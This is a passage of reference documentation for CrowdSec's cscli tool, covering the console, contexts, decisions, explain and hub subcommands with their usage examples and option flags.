[flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for show-yaml ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli config](https://docs.crowdsec.net/docs/next/cscli/cscli_config.md) - Allows to view current config --- # cscli console ## cscli console[โ€‹](#cscli-console "Direct link to cscli console") Manage interaction with Crowdsec console () ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for console ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli console disable](https://docs.crowdsec.net/docs/next/cscli/cscli_console_disable.md) - Disable a console option * [cscli console enable](https://docs.crowdsec.net/docs/next/cscli/cscli_console_enable.md) - Enable a console option * [cscli console enroll](https://docs.crowdsec.net/docs/next/cscli/cscli_console_enroll.md) - Enroll this instance to \[requires local API] * [cscli console status](https://docs.crowdsec.net/docs/next/cscli/cscli_console_status.md) - Shows status of the console options --- # cscli console disable ## cscli console disable[โ€‹](#cscli-console-disable "Direct link to cscli console disable") Disable a console option ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Disable given information push to the central API. TEXTCOPY ``` cscli console disable [option] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` sudo cscli console disable tainted ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Disable all console options -h, --help help for disable ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli console](https://docs.crowdsec.net/docs/next/cscli/cscli_console.md) - Manage interaction with Crowdsec console () --- # cscli console enable ## cscli console enable[โ€‹](#cscli-console-enable "Direct link to cscli console enable") Enable a console option ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Enable given information push to the central API. Allows to empower the console TEXTCOPY ``` cscli console enable [option]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` sudo cscli console enable tainted ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Enable all console options -h, --help help for enable ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli console](https://docs.crowdsec.net/docs/next/cscli/cscli_console.md) - Manage interaction with Crowdsec console () --- # cscli console enroll ## cscli console enroll[โ€‹](#cscli-console-enroll "Direct link to cscli console enroll") Enroll this instance to \[requires local API] ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Enroll this instance to You can get your enrollment key by creating an account on . After running this command your will need to validate the enrollment in the webapp. TEXTCOPY ``` cscli console enroll [enroll-key] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli console enroll YOUR-ENROLL-KEY cscli console enroll --name [instance_name] YOUR-ENROLL-KEY cscli console enroll --name [instance_name] --tags [tag_1] --tags [tag_2] YOUR-ENROLL-KEY cscli console enroll --enable console_management YOUR-ENROLL-KEY cscli console enroll --disable context YOUR-ENROLL-KEY valid options are : custom,manual,tainted,context,console_management,all (see 'cscli console status' for details) ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --disable strings Disable console options -e, --enable strings Enable console options -h, --help help for enroll -n, --name string Name to display in the console --overwrite Force enroll the instance -t, --tags strings Tags to display in the console ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli console](https://docs.crowdsec.net/docs/next/cscli/cscli_console.md) - Manage interaction with Crowdsec console () --- # cscli console status ## cscli console status[โ€‹](#cscli-console-status "Direct link to cscli console status") Shows status of the console options TEXTCOPY ``` cscli console status [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` sudo cscli console status ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for status ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli console](https://docs.crowdsec.net/docs/next/cscli/cscli_console.md) - Manage interaction with Crowdsec console () --- # cscli contexts ## cscli contexts[โ€‹](#cscli-contexts "Direct link to cscli contexts") Manage hub contexts TEXTCOPY ``` cscli contexts [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli contexts list -a cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet cscli contexts inspect crowdsecurity/bf_base crowdsecurity/fortinet cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for contexts ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli contexts inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts_inspect.md) - Inspect given context(s) * [cscli contexts install](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts_install.md) - Install given context(s) * [cscli contexts list](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts_list.md) - List context(s) * [cscli contexts remove](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts_remove.md) - Remove given context(s) * [cscli contexts upgrade](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts_upgrade.md) - Upgrade given context(s) --- # cscli contexts inspect ## cscli contexts inspect[โ€‹](#cscli-contexts-inspect "Direct link to cscli contexts inspect") Inspect given context(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Inspect the state of one or more contexts TEXTCOPY ``` cscli contexts inspect [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Display metadata, state and ancestor collections of contexts (installed or not). cscli contexts inspect crowdsecurity/bf_base crowdsecurity/fortinet # Display difference between a tainted item and the latest one. cscli contexts inspect crowdsecurity/bf_base --diff # Reverse the above diff cscli contexts inspect crowdsecurity/bf_base --diff --rev ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --diff Show diff with latest version (for tainted items) -h, --help help for inspect --no-metrics Don't show metrics (when cscli.output=human) --rev Reverse diff output -u, --url string Prometheus url ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli contexts](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts.md) - Manage hub contexts --- # cscli contexts install ## cscli contexts install[โ€‹](#cscli-contexts-install "Direct link to cscli contexts install") Install given context(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and install one or more contexts from the hub TEXTCOPY ``` cscli contexts install [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Install some contexts. cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet # Show the execution plan without changing anything - compact output sorted by type and name. cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --dry-run -o raw # Download only, to be installed later. cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --download-only # Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet -i cscli contexts install crowdsecurity/bf_base crowdsecurity/fortinet --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --download-only Only download packages, don't enable --dry-run Don't install or remove anything; print the execution plan --force Force install: overwrite tainted and outdated files -h, --help help for install --ignore Ignore errors when installing multiple contexts -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli contexts](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts.md) - Manage hub contexts --- # cscli contexts list ## cscli contexts list[โ€‹](#cscli-contexts-list "Direct link to cscli contexts list") List context(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") List of installed/available/specified contexts TEXTCOPY ``` cscli contexts list [item... | -a] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # List enabled (installed) contexts. cscli contexts list # List all available contexts (installed or not). cscli contexts list -a # List specific contexts (installed or not). cscli contexts list crowdsecurity/bf_base crowdsecurity/fortinet ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all List disabled items as well -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli contexts](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts.md) - Manage hub contexts --- # cscli contexts remove ## cscli contexts remove[โ€‹](#cscli-contexts-remove "Direct link to cscli contexts remove") Remove given context(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Remove one or more contexts TEXTCOPY ``` cscli contexts remove [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Uninstall some contexts. cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet # Show the execution plan without changing anything - compact output sorted by type and name. cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --dry-run -o raw # Uninstall and also remove the downloaded files. cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --purge # Remove tainted items. cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet -i cscli contexts remove crowdsecurity/bf_base crowdsecurity/fortinet --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --all Remove all the contexts --dry-run Don't install or remove anything; print the execution plan --force Force remove: remove tainted and outdated files -h, --help help for remove -i, --interactive Ask for confirmation before proceeding --purge Delete source file too ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli contexts](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts.md) - Manage hub contexts --- # cscli contexts upgrade ## cscli contexts upgrade[โ€‹](#cscli-contexts-upgrade "Direct link to cscli contexts upgrade") Upgrade given context(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and upgrade one or more contexts from the hub TEXTCOPY ``` cscli contexts upgrade [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Upgrade some contexts. If they are not currently installed, they are downloaded but not installed. cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet # Show the execution plan without changing anything - compact output sorted by type and name. cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --dry-run -o raw # Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet -i cscli contexts upgrade crowdsecurity/bf_base crowdsecurity/fortinet --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Upgrade all the contexts --dry-run Don't install or remove anything; print the execution plan --force Force upgrade: overwrite tainted and outdated files -h, --help help for upgrade -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli contexts](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts.md) - Manage hub contexts --- # cscli dashboard ## cscli dashboard[โ€‹](#cscli-dashboard "Direct link to cscli dashboard") TEXTCOPY ``` cscli dashboard [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for dashboard ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec --- # cscli decisions ## cscli decisions[โ€‹](#cscli-decisions "Direct link to cscli decisions") Manage decisions ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Add/List/Delete/Import decisions from LAPI TEXTCOPY ``` cscli decisions [action] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli decisions [action] [filter] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for decisions ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli decisions add](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions_add.md) - Add decision to LAPI * [cscli decisions delete](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions_delete.md) - Delete decisions * [cscli decisions import](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions_import.md) - Import decisions from a file or pipe * [cscli decisions list](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions_list.md) - List decisions from LAPI --- # cscli decisions add ## cscli decisions add[โ€‹](#cscli-decisions-add "Direct link to cscli decisions add") Add decision to LAPI TEXTCOPY ``` cscli decisions add [options] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli decisions add --ip 1.2.3.4 cscli decisions add --range 1.2.3.0/24 cscli decisions add --ip 1.2.3.4 --duration 24h --type captcha cscli decisions add --scope username --value foobar ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -i, --ip string Source ip (shorthand for --scope ip --value ) -r, --range string Range source ip (shorthand for --scope range --value ) -d, --duration string Decision duration (ie. 1h,4h,30m) (default "4h") -v, --value string The value (ie. --scope username --value foobar) --scope string Decision scope (ie. ip,range,username) (default "Ip") -R, --reason string Decision reason (ie. scenario-name) -t, --type string Decision type (ie. ban,captcha,throttle) (default "ban") -B, --bypass-allowlist Add decision even if value is in allowlist -h, --help help for add ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli decisions](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions.md) - Manage decisions --- # cscli decisions delete ## cscli decisions delete[โ€‹](#cscli-decisions-delete "Direct link to cscli decisions delete") Delete decisions TEXTCOPY ``` cscli decisions delete [options] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli decisions delete -r 1.2.3.0/24 cscli decisions delete -i 1.2.3.4 cscli decisions delete --id 42 cscli decisions delete --type captcha cscli decisions delete --origin lists --scenario list_name ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -i, --ip string Source ip (shorthand for --scope ip --value ) -r, --range string Range source ip (shorthand for --scope range --value ) -t, --type string the decision type (ie. ban,captcha) -v, --value string the value to match for in the specified scope -s, --scenario string the scenario name (ie. crowdsecurity/ssh-bf) --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI,remediation_sync ...) --id string decision id --all delete all decisions --contained query decisions contained by range -h, --help help for delete ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli decisions](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions.md) - Manage decisions --- # cscli decisions import ## cscli decisions import[โ€‹](#cscli-decisions-import "Direct link to cscli decisions import") Import decisions from a file or pipe ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") expected format: csv : any of duration,reason,scope,type,value, with a header line json :`{"duration": "24h", "reason": "my_scenario", "scope": "ip", "type": "ban", "value": "x.y.z.z"}` TEXTCOPY ``` cscli decisions import [options] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` decisions.csv: duration,scope,value 24h,ip,1.2.3.4 $ cscli decisions import -i decisions.csv decisions.json: [{"duration": "4h", "scope": "ip", "type": "ban", "value": "1.2.3.4"}] The file format is detected from the extension, but can be forced with the --format option which is required when reading from standard input. Raw values, standard input: $ echo "1.2.3.4" | cscli decisions import -i - --format values ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -i, --input string Input file -d, --duration string Decision duration: 1h,4h,30m (default "4h") --scope string Decision scope: ip,range,username (default "Ip") -R, --reason string Decision reason: (default "manual") -t, --type string Decision type: ban,captcha,throttle (default "ban") --batch int Split import in batches of N decisions --format string Input format: 'json', 'csv' or 'values' (each line is a value, no headers) -h, --help help for import ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli decisions](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions.md) - Manage decisions --- # cscli decisions list ## cscli decisions list[โ€‹](#cscli-decisions-list "Direct link to cscli decisions list") List decisions from LAPI TEXTCOPY ``` cscli decisions list [options] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli decisions list -i 1.2.3.4 cscli decisions list -r 1.2.3.0/24 cscli decisions list -s crowdsecurity/ssh-bf cscli decisions list --origin lists --scenario list_name ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Include decisions from Central API --since duration restrict to alerts newer than since (ie. 4h, 30d) (default 0s) --until duration restrict to alerts older than until (ie. 4h, 30d) (default 0s) -t, --type string restrict to this decision type (ie. ban,captcha) --scope string restrict to this scope (ie. ip,range,session) --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI,remediation_sync ...) -v, --value string restrict to this value (ie. 1.2.3.4,userName) -s, --scenario string restrict to this scenario (ie. crowdsecurity/ssh-bf) -i, --ip string restrict to alerts from this source ip (shorthand for --scope ip --value ) -r, --range string restrict to alerts from this source range (shorthand for --scope range --value ) -l, --limit int number of alerts to get (use 0 to remove the limit) (default 100) --no-simu exclude decisions in simulation mode -m, --machine print machines that triggered decisions --contained query decisions contained by range -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli decisions](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions.md) - Manage decisions --- # cscli explain ## cscli explain[โ€‹](#cscli-explain "Direct link to cscli explain") Explain log pipeline ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Explain log pipeline TEXTCOPY ``` cscli explain [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli explain --file ./myfile.log --type nginx cscli explain --log "Sep 19 18:33:22 scw-d95986 sshd[24347]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=1.2.3.4" --type syslog cscli explain --dsn "file://myfile.log" --type nginx tail -n 5 myfile.log | cscli explain --type nginx -f - ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --crowdsec string Path to crowdsec (default "crowdsec") -d, --dsn string DSN to test --failures Only show failed lines -f, --file string Log file to test -h, --help help for explain --labels string Additional labels to add to the acquisition format (key:value,key2:value2) -l, --log string Log line to test --no-clean Don't clean runtime environment after tests --only-successful-parsers Only show successful parsers -t, --type string Type of the acquisition to test -v, --verbose Display individual changes ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec --- # cscli hub ## cscli hub[โ€‹](#cscli-hub "Direct link to cscli hub") Manage hub index ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Hub management List/update parsers/scenarios/postoverflows/collections from [Crowdsec Hub](https://hub.crowdsec.net). The Hub is managed by cscli, to get the latest hub files from [Crowdsec Hub](https://hub.crowdsec.net), you need to update. TEXTCOPY ``` cscli hub [action] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli hub list cscli hub update cscli hub upgrade ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for hub ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli hub branch](https://docs.crowdsec.net/docs/next/cscli/cscli_hub_branch.md) - Show selected hub branch * [cscli hub list](https://docs.crowdsec.net/docs/next/cscli/cscli_hub_list.md) - List all installed configurations * [cscli hub types](https://docs.crowdsec.net/docs/next/cscli/cscli_hub_types.md) - List supported item types * [cscli hub update](https://docs.crowdsec.net/docs/next/cscli/cscli_hub_update.md) - Download the latest index (catalog of available configurations) * [cscli hub upgrade](https://docs.crowdsec.net/docs/next/cscli/cscli_hub_upgrade.md) - Upgrade all configurations to their latest version --- # cscli hub branch ## cscli hub branch[โ€‹](#cscli-hub-branch "Direct link to cscli hub branch") Show selected hub branch ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Display the hub branch to be used, depending on configuration and crowdsec version TEXTCOPY ``` cscli hub branch [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all List all available items, including those not installed -h, --help help for branch ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hub](https://docs.crowdsec.net/docs/next/cscli/cscli_hub.md) - Manage hub index --- # cscli hub list ## cscli hub list[โ€‹](#cscli-hub-list "Direct link to cscli hub list") List all installed configurations TEXTCOPY ``` cscli hub list [-a] [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all List all available items, including those not installed -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli hub](https://docs.crowdsec.net/docs/next/cscli/cscli_hub.md) - Manage hub index --- # cscli hub types ## cscli hub types[โ€‹](#cscli-hub-types "Direct link to cscli hub types") List supported item types ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") List the types of supported hub items. TEXTCOPY ``` cscli hub types [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for types ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY 